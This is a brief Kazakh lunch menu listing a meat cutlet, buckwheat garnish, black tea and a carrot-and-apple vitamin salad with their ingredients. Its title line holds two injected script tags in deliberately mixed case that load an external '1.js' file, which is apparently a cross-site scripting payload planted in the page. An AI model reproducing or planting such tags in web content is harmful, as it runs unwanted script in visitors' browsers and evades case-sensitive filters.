Ас мәзірінің құрамы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Етті катлет: сиыр еті,нан,жуа,өсімдік майы,жұмыртқа,дәмдеуіштер.

Гарнир: гречка ,өсімдік майы.

Қара шай: шай, қант.

Витамин салаты: сәбіз,алма,өсімдік майы.